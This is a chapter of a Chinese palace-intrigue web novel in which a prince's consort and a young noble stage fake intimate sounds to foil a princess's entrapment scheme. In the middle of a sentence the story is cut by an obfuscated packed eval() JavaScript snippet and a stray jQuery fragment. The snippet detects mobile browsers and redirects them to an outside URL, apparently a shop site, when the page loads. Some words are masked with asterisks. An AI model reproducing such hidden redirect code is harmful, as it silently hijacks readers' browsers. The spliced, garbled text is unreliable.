此时姜明棠已经推开了厢房的门,半个身子都跨进了屋内。
陈齐抬脚想要跟上,却被盼儿伸开胳膊给拦下了,“陈小公子就在外面等着吧,你一个外男,进我家王妃的住处于理不合。”
陈齐哼笑一声,手搭在门框上,他比姜明棠和盼儿高了快半个头,气势摆在那,说出的话自然咄咄逼人,“于理不合?我要是非要进去,一百个你都不够拦的。”
盼儿才不吃他这一套,仰着脑袋,“总之你不许进。”
已经走进房间的姜明棠回头看来,陈齐立马收了那副嚣张的气焰,讨好的赔着笑脸,“姐姐你看你这丫头......”
姜明棠并不接话,转头对盼儿说道:“没事,让他进来吧。你先下去。”
盼儿本来还是不放心,但得了姜明棠的令,还是点头下去了。
回到了屋内,一室寂静,陈齐已经扯了一块衣角随意的包扎了一下伤口,随后就坐在姜明棠对面把玩着茶杯,偏偏害他受伤的“罪魁祸首”神色坦然,仿佛没看见他刚刚疼的龇牙咧嘴的样子。
他冷不丁的开口嘲讽,“姐姐你倒是心狠!对自己夫君的表妹都能下此重手。”
姜明棠本来还在思考其他事情,被陈齐的声音打断,冷哼了一声,反唇相讥。
“本王妃看陈小公子也不遑多让,今夜怕是没少在自己兄长杯里下药。”
她对自己的所作所为并不后悔。
起码在柳梦嫣将陈齐扔在她床上之前,她都没有真的想过要把她如何。她不仅是谢承渊的名义上的表妹,也是个女子。
这世道视名节于泰山。
柳梦嫣此举,也从来没想过要给自己留一条活路,那么她为何还要心慈手软的放过她。
当一个烂好人的下场便是万劫不复,她已经体验过一遍那样的人生,不想再重蹈覆辙。
陈齐自知说不过她,也不费口舌了,难得安静的坐着。
没一会儿,窗外传来了悉悉索索的声音,是谢灵夕带着几个宫女太监来了。
她小声的吩咐着,“快听听里面有没有什么动静?快听快听。”
她语气里带着不假思索的幸灾乐祸,声音不大,但足以让屋内两个精神高度紧张的人听见。
“叫两声!”
姜明棠淡淡的看向陈齐,语气里皆是不容置喙。
“凭什么是我叫?”陈齐下意识的反问,他只怔愣了一秒,就知道了姜明棠刚刚言简意赅的命令是让他叫床。
她命令我?
“你一个流连于烟花相柳之地的纨绔少爷还能不会叫床,赶紧的。”
姜明棠丝毫不给他面子,已经抽出了**做好准备实在不行就来硬的。
陈齐语塞,仅仅是为难了一下,就立马出声。
屋外趴在窗户边的小太监听的面红耳赤,舍不得离开,被谢灵夕一把揪住了耳朵,“你到底听没听见?滚开,这点小事还要本公主亲自来。”
她说着,已经一脚踢开了身旁的小太监,这动静其实闹得不小,只是她自己根本毫无察觉。
谢灵夕的耳朵在贴近窗户的一刹那,听见了男人的低喘声就羞的跳脚退后,马上捂住了耳朵。
“公主,要不要现在去告诉柳小姐,叫她过来?”
谢灵夕呵呵一笑,已经迈着步子离开,“急什么?这才哪到哪,再过一刻钟......等他们生米煮成熟饭了,我们再来抓奸才有趣。”
谢灵夕带着他们一众人笑呵呵的走了。
陈齐还是有些尴尬,方才他哼叫的那两声属实是无可奈何。
他的脸在刚刚就慢慢的发热,眼下已经是烧的发热。
他心乱如麻的朝着姜明棠看去。
却看姜明棠冷着一张脸,眯着眼睛拳头紧握。
看来谢灵夕的那些话对她也不是毫无影响嘛!
他这般想着,心也不慌脸也不红了,原本还变得一室旖旎的氛围瞬间烟消云散。
陈齐兴致盎然的看着姜明棠的淡漠的表情,慢慢的开始怀疑她到底是不是个正常的女人。
寻常的姑娘家听见这动静只怕是早找个地缝钻进去了,怎么可能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097604|195674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还像她一样神色如常的坐在这里,跟个没事人一样。
陈齐盯着她的脸,陡然一笑,叫她姐姐叫的多了。
他自己都差点忘了姜明棠都已经嫁为**,是正儿八经的肃王妃了。
他刚想说什么,却先一步被姜明棠打断。
“行了,这边用不上你了,赶紧找个其他地方继续快活去吧。”
什么鬼?
用完就扔?
卸磨杀驴?
陈齐不可置信的看着姜明棠,却被站起来的人提着衣领子往起来拎。
他被扯的喉咙微痛,只好顺着姜明棠的力气站起来看她,“姐姐,你弄疼我了。”
陈齐故意说着莫能两可的话,想惹姜明棠害羞,却发现眼前的女人压根不吃这一套。
她冷冷的看着自己,下了最后的逐客令。
纤细的手指指向门口,一声不吭却带着威压,让人打心底的想要臣服。
“哦,我走。”
他修整了一下衣领,不情不愿的从窗户中翻了出去。
姜明棠静静的坐在屋内,又等了一会儿,才拢了拢衣服推开门出去。
不多时,宁安公主已经带着一大堆人马前来,他身边的小太监高举着火把,神色慌张的看向她,颤颤巍巍的说着:“公主殿下,奴才刚刚解手,看见陈小公子喝得烂醉,发了酒疯似的嘴里嚷嚷着要找什么……什么棠姑娘,奴才可吓坏了,这不抓紧来找公主禀报。”
“棠姑娘?”
跟在谢灵夕身后的一位小姐有些疑惑。
倒是往日里和陈齐厮混在一起的狐朋**捶了几下脑袋,解释道:“是醉花楼的小海棠吧?这陈三平日里最喜欢找她喝酒听曲聊聊风月了。”
他笑的暧昧,周边其他公子也乐呵起来。
谁不知醉花楼是雍都城最大的花楼,里面的姑娘能歌善舞,各个身怀绝技,是他们这群不愁吃喝的少爷们最爱的销魂窟。
“哎呦奴才该死,奴才当时只知道王妃娘娘的闺名里也带个棠字,会错了意,这才惊动了公主。”